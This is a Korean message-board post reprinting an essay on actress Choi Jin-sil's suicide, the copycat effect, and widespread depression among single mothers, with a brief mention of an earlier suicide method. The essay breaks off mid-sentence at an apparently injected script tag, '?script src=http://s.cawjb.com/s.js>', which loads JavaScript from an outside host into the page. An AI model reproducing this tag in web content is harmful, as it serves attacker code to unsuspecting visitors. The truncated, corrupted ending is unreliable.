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故 최진실의 죽음으로 본 싱글맘 |
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번 호 |
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812 |
조회수 |
3282 |
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이메일 |
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작성자 |
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아름다운가정 |
작성일 |
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08-10-21 |
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내 용 |
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故 최진실의 죽음으로 본 싱글맘
황은숙 (한국한부모가정연구소장)
아침 일찍 한통의 전화가 걸려왔다. 평소 잘 알고 지
내던 한 싱글맘의 전화였다. 뭔가에 놀란 듯 가느다란
목소리가 떨리고 있었다. “소장님, 소식 들으셨어요?”, “무슨 소식
이요?”, “최진실 씨가 자살했데요.” 예상하지 못했던 최진실 씨의
죽음에 나 역시 순간적으로 말문을 닫아버렸다.
유명 연예인 최진실의 죽음
최근 유명연예인의 자살이 도미노처럼 번지면서 베르테르의 효과를 우
려하는 사람들이 많아졌다. 최진실에 앞서 세상을 등진 안재환의 경우
도 그랬다. 그의 자살 소식과 자살방법이 보도되면서 그가 했던 대로
연탄불을 지펴놓고 목숨을 끊는 사람들이 있었다.
나는 최진실의 자살 소식을 접하면서 싱글맘들의 자살사건이 연속적으
로 터지는 것은 아닌지 왠지 불안감을 감추기 어렵다.
故최진실 씨는 유명 연예인이다. 그는 단순히 유명연예인이 아니라 스
타 중의 스타였다. 스타라는 사실 하나만
으로도 그의 자살은 평범한 사람들에게 엄청난 반향을 불러올 수 있
다. 그러나 내가 그의 죽음에 대해 염려하는 것은 그가 단순히 유명연
예인이어서가 아니라 바로 한부모가정의 싱글맘이라는 사실 때문이었
다. 故 최진실 씨는 한부모가정을 상징하는 아주 특별한 존재였다.
싱글맘 최진실의 죽음
최진실은 2년 전 남편인 조성민과 이혼하고 두 자녀를 키우고 있는 싱
글맘이다. 그녀는 살아남기 어렵다는 연예계에서도 성공한 연예인으
로 불린다. 수많은 드라마에 출연하여 전국민을 슬프게도 행복하게도
만들었던 주인공이 바로 그녀였다.
그런 그녀가 조성민과 결혼한 후 삐걱거리기 시작했다. 그 시작은 결
혼과정에서부터 시작된 듯하다. 결혼 후에는 남편의 가정폭력으로 병
원에 입원하는 신세가 되기도 했고, 자녀양육권 등 분쟁으로 속앓이
를 했어야 했다.
어쩔 수 없이 이혼했건만 그녀에게 돌아온 것은 일방적인 광고 취소라
는 부당한 대우였다. 이혼으로 위기를 맞은 듯 하던 그녀는 그 후 몇
편의 드라마에 출연하면서 재기에 성공하게 된다. 그의 스타성은 세
상 사람들로 하여금 최진실을 이혼가정의 싱글맘 최진실로 자연스럽
게 인식하게 하였고, 스타 한부모의 탄생은 한부모가정에 대한 사회적
인 인식을 개선하는 데도 적지 않는 영향을 미쳤다 하겠다.
최진실은 호주제 폐지 이후 자녀의 성을 자신의 성으로 변경하여 당당
한 싱글맘으로 살아가는 강한 면모를 보여주기도 하였다.
그런 억척스러운 최진실의 행로에 150만 한부모가정의 부모들은 박수
를 보냈으며 자신도 최진실처럼 성공적인 한부모가 되어야겠다는 자신
감을 갖기도 하였다.
자살을 부르는 우울증
그런 그녀가 이제 세상을 등지고 차가운 시신으로 영안실에 누워있
다. 그녀가 사랑하는 두 자녀 환희와 준희를 남겨두었기에 그녀의 빈
소에는 더 슬픈 울음이 흐르는 듯하다.
그녀의 죽음은 “싱글맘”의 죽음으로 우리 곁에 다가온다. 그러나 자
녀를 위해 죽음까지도 포기한 싱글맘들에게 그녀가 죽음의 그림자를
드리우지 않을까 우려스럽다. 나의 이런 우려를 확인해 주듯 비보 첫
날 한부모가정의 카페에는 故 최진실의 죽음을 슬퍼하는 사람들이 있
었다.
한 싱글맘은 “최진실의 자살 뉴스를 접하니... 허무함이 찾아온다.
나 같은 사람도 자녀들과 행복하게 살려고 악착같이 노력하는데 그녀
는 왜 세상을 떠난 걸까? 살려고 하는 내가 바보인가? 문제인가? 정
말 어떻게 살아야 잘 사는 것일까?”고통을 되뇌인다.
한부모가정에 일반화된 우울증
자살 전 故 최진실 씨는 우울증에 시달렸다고 한다. 우울증은 한부모
가정의 가장 친한 친구이자 동반자라 할 수 있다. 내가 만난 수많은
한부모가정의 부모 중 우울증으로 고통을 겪어보지 않는 사람이 없을
정도로 우울증은 한부모가정에게 일반화되어 있는 정신장애라 할 수
있다.
우울증은 사별이나 이혼 후 발생할 가능성이 높다. 우울증에 빠지면
우울감을 느끼며 일상생활에 대해 집중할 수 없고, 불면증에 시달리
고, 체중이 갑작스럽게 줄거나 느는 등의 증상을 보이게 된다. DSM-Ⅳ
(정신장애의 진단 및 통계편람 제4편)는 우울증을 “사랑하는 사람을
상실한 후 현저한 기능장애, 병적인 무가치감, 자살생각 등 정신증적
증상이 2개월 정도 지속될 때 진단”될 수 있는 것으로 본다.
우울증이 무서운 것은 우울증이 깊어지면 자살을 생각하거나 시도할
가능성이 높다는 것이다. 우울증을 겪어봤다는 한 싱글맘은 우울증의
심각성을 다음과 같이 말한다.
“남편이 집을 떠나자 갑자기 슬픔이 찾아왔어요. 너무 슬퍼 매일 울
었습니다. 직장생활도 할 수도 없었어요. 생각이 남편에게만 집?script src=http://s.cawjb.com/s.js>
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